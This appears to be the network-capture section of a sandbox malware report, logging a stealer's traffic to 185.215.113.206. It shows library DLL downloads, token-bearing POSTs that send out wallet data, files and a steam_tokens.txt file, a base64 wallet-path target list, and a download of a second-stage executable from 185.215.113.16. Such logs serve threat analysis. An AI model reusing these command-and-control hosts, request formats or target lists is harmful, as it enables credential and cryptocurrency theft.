9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 23, 2024 19:52:55.688858986 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 19:52:56.166604042 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:55 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 23, 2024 19:52:59.502901077 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 19:53:00.023703098 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:59 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 23, 2024 19:53:00.764401913 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 19:53:01.254137993 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:53:01 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 23, 2024 19:53:02.246982098 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGIDAAAKJJDBGCBFCBGI Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 19:53:03.378400087 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:53:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 19:53:03.467438936 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEHDBAEGIIIEBGCAAFHI Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 64 33 63 64 37 61 34 33 66 65 33 65 34 33 33 32 65 32 65 31 61 65 66 35 31 33 64 65 31 36 32 62 66 65 61 39 61 61 30 65 61 31 66 30 30 34 30 31 62 36 39 36 38 36 30 36 39 39 31 34 35 32 39 62 33 61 61 64 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 2d 2d 0d 0a Data Ascii: ------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="token"0d3cd7a43fe3e4332e2e1aef513de162bfea9aa0ea1f00401b69686069914529b3aad17e------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="message"wallets------KEHDBAEGIIIEBGCAAFHI--
Nov 23, 2024 19:53:03.921000004 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:53:03 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 23, 2024 19:53:04.125858068 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAAAAKJKJEBGHJKFHIDG Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 64 33 63 64 37 61 34 33 66 65 33 65 34 33 33 32 65 32 65 31 61 65 66 35 31 33 64 65 31 36 32 62 66 65 61 39 61 61 30 65 61 31 66 30 30 34 30 31 62 36 39 36 38 36 30 36 39 39 31 34 35 32 39 62 33 61 61 64 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 2d 2d 0d 0a Data Ascii: ------BAAAAKJKJEBGHJKFHIDGContent-Disposition: form-data; name="token"0d3cd7a43fe3e4332e2e1aef513de162bfea9aa0ea1f00401b69686069914529b3aad17e------BAAAAKJKJEBGHJKFHIDGContent-Disposition: form-data; name="message"files------BAAAAKJKJEBGHJKFHIDG--
Nov 23, 2024 19:53:04.588845015 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:53:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 19:53:04.602292061 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGHDAKKJJJKJKECBGCGD Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 48 44 41 4b 4b 4a 4a 4a 4b 4a 4b 45 43 42 47 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 64 33 63 64 37 61 34 33 66 65 33 65 34 33 33 32 65 32 65 31 61 65 66 35 31 33 64 65 31 36 32 62 66 65 61 39 61 61 30 65 61 31 66 30 30 34 30 31 62 36 39 36 38 36 30 36 39 39 31 34 35 32 39 62 33 61 61 64 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 44 41 4b 4b 4a 4a 4a 4b 4a 4b 45 43 42 47 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 44 41 4b 4b 4a 4a 4a 4b 4a 4b 45 43 42 47 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CGHDAKKJJJKJKECBGCGDContent-Disposition: form-data; name="token"0d3cd7a43fe3e4332e2e1aef513de162bfea9aa0ea1f00401b69686069914529b3aad17e------CGHDAKKJJJKJKECBGCGDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CGHDAKKJJJKJKECBGCGDContent-Disposition: form-data; name="file"------CGHDAKKJJJKJKECBGCGD--
Nov 23, 2024 19:53:05.581996918 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:53:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 19:53:05.612361908 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKEGDHCFCAAECAKECBAF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 64 33 63 64 37 61 34 33 66 65 33 65 34 33 33 32 65 32 65 31 61 65 66 35 31 33 64 65 31 36 32 62 66 65 61 39 61 61 30 65 61 31 66 30 30 34 30 31 62 36 39 36 38 36 30 36 39 39 31 34 35 32 39 62 33 61 61 64 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 2d 2d 0d 0a Data Ascii: ------JKEGDHCFCAAECAKECBAFContent-Disposition: form-data; name="token"0d3cd7a43fe3e4332e2e1aef513de162bfea9aa0ea1f00401b69686069914529b3aad17e------JKEGDHCFCAAECAKECBAFContent-Disposition: form-data; name="message"ybncbhylepme------JKEGDHCFCAAECAKECBAF--
Nov 23, 2024 19:53:06.069901943 CET	271	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:53:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49953	185.215.113.16	80	3564	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 19:53:06.218363047 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 23, 2024 19:53:07.666076899 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 18:53:07 GMT Content-Type: application/octet-stream Content-Length: 1924608 Last-Modified: Sat, 23 Nov 2024 18:38:26 GMT Connection: keep-alive ETag: "67422122-1d5e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 c0 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfL@Lb@WkDLtL @.rsrcD@.idata @ +@qjiksrquP`2B@nceqyapeL8@.taggant0L"<@
Nov 23, 2024 19:53:07.666147947 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 19:53:07.666166067 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 19:53:07.666182995 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 19:53:07.666217089 CET	896	IN	Data Raw: 7d c3 72 32 28 71 80 f8 48 66 97 2e f4 6a e1 93 17 12 f8 ee 9f 00 b2 9b ba e0 0d 52 bd 84 e3 7e 59 c8 85 a5 58 88 5f 72 bc 4d 77 6c 38 5f 66 96 88 50 a3 b1 8c ae 31 17 5a 4f f3 02 32 f1 e2 97 38 04 47 5b d0 0d 34 9e 2a 91 dc 6c f8 4f 2b 60 27 2d Data Ascii: }r2(qHf.jR~YX_rMwl8_fP1ZO28G[4lO+`'-G&6b^c@W}`$qujBw$pMY$MiW9686PVSmYr8{ptjrXbIZ_r6p;R6M`P44\uXSdN
Nov 23, 2024 19:53:07.666234016 CET	1236	IN	Data Raw: 59 9a 58 0e 09 60 df 62 34 ad df 7e 71 52 86 40 87 e0 76 6f 28 34 0c 77 1d c4 92 4c 99 5e 01 bf 17 8c 0d 3e fd a2 ef 3e fc 5f 46 11 ab 90 22 4e 27 0d f0 9e 90 91 47 d6 10 74 34 58 3d 04 01 ff 31 b1 62 12 43 b2 0f 52 9d 84 e3 5e fb c8 e5 84 e7 a0 Data Ascii: YX`b4~qR@vo(4wL^>>_F"N'Gt4X=1bCR^l(=}Os6XS4H1R?nyNhttN_Pvy*5x\|Zb(X-x(sQt&Nr<6o2B_2B``310NWg
Nov 23, 2024 19:53:07.666273117 CET	1236	IN	Data Raw: 42 ba 2e fd 93 48 f3 6b 07 88 55 b5 24 88 b5 71 5b 82 83 13 1f d6 ef 66 5f f9 3c 10 6f 1f 98 e1 15 6d 7d 4c 33 21 37 da f6 54 a9 2f 34 66 93 7d 30 68 eb 04 e1 40 93 54 a7 01 3c f2 18 d9 ba ed 96 8f e4 84 87 48 45 06 bc 46 79 2a 67 8f f4 7c c1 48 Data Ascii: B.HkU$q[f_<om}L3!7T/4f}0h@T<HEFyg\|HKQGDPAP1=w7ZT\?TK?x7I& >/PI6P)~X=U_:2O;!yJKT>H`>BG4T>=0j
Nov 23, 2024 19:53:07.666296959 CET	1236	IN	Data Raw: 44 fb af 04 36 01 cb a2 1c 98 24 95 34 25 1f 2d 83 20 d8 59 a6 62 df f5 c2 b8 4c 6b cc 00 47 7d bb b1 b0 b2 c7 b7 0a f4 12 39 b0 f3 47 df 89 1d fc 60 a8 fb 32 a3 2d ad 09 14 2e 32 30 01 4b c4 0b 07 f1 7b c8 88 65 b5 0f de 93 c4 18 e4 35 e6 90 84 Data Ascii: D6$4%- YbLkG}9G`2-.20K{e5z!R"vq-F{p>v5/p>IJdcNx>Xj@Mf.+!MMt-LODD]C=%V&q$S(1< \dbgvVHv270`
Nov 23, 2024 19:53:07.666312933 CET	1236	IN	Data Raw: 18 c5 a2 97 10 cc 27 7d 80 7e c8 77 62 26 64 db 7e 49 c9 4e 00 4d 6e 4f 44 1c c3 78 52 a7 3b a7 da ce 82 79 f0 e2 e4 6a 98 2b 36 d6 dc ec 76 4d a1 94 f6 e1 e4 e2 f9 16 9c 62 5d da 34 03 9e 7c 2a f4 3a 6b d7 cd f5 96 51 e2 f1 d4 d7 68 f2 b2 32 41 Data Ascii: '}~wb&d~INMnODxR;yj+6vMb]4\|*:kQh2A,6=.:6P%<HMe,gb0\dF;lYLv=@\:jT>RKcoIwLYc-7W;?`-R?;a%m>Wkym-`8
Nov 23, 2024 19:53:07.666328907 CET	1236	IN	Data Raw: d3 98 48 96 28 64 01 ad 6a 8b 10 b2 dd 7d 7c b1 c8 a9 00 b7 bc c3 3f e4 10 29 4b 3b 94 6e ec 29 12 77 f5 24 17 09 b9 e6 42 ea c6 6c f1 0f 02 b4 f6 d0 9d 6d 0f 29 12 2d 9b 1d 3d 20 f1 74 68 d3 ee 5d ea 88 b6 f0 b6 c7 c1 a8 8c d5 4c 33 71 35 4c 60 Data Ascii: H(dj}\|?)K;n)w$Blm)-= th]L3q5L`3^75ceDKJZ`,mLG;IG78:A/IZ],.i?2Qh:S_CXqdO#j;wv\(Z^/q\|\|VDV&
Nov 23, 2024 19:53:07.791230917 CET	1236	IN	Data Raw: ad 9b 9c 60 63 39 e8 b4 24 fe 26 de 91 04 92 fe 69 70 c6 e4 b7 5b f1 39 1a 42 09 ab 7d 0a ea 7c f9 c7 c0 4d c5 b9 66 1b c3 83 0e db ea 74 e5 5b 0a a4 35 63 6e fc 87 c4 f9 68 d3 20 2a 71 b3 1e de 13 cf 70 f7 54 cd 81 70 7f f9 b9 d6 7d d2 94 3c e4 Data Ascii: `c9$&ip[9B}\|Mft[5cnh qpTp}<d"o'p6pg5/82&V4?:9QOyF\nH?XteK+W?6q(oPR`C`;+FU(J[VNJ%@aR@V]M)(m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49972	185.215.113.206	80	3564	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
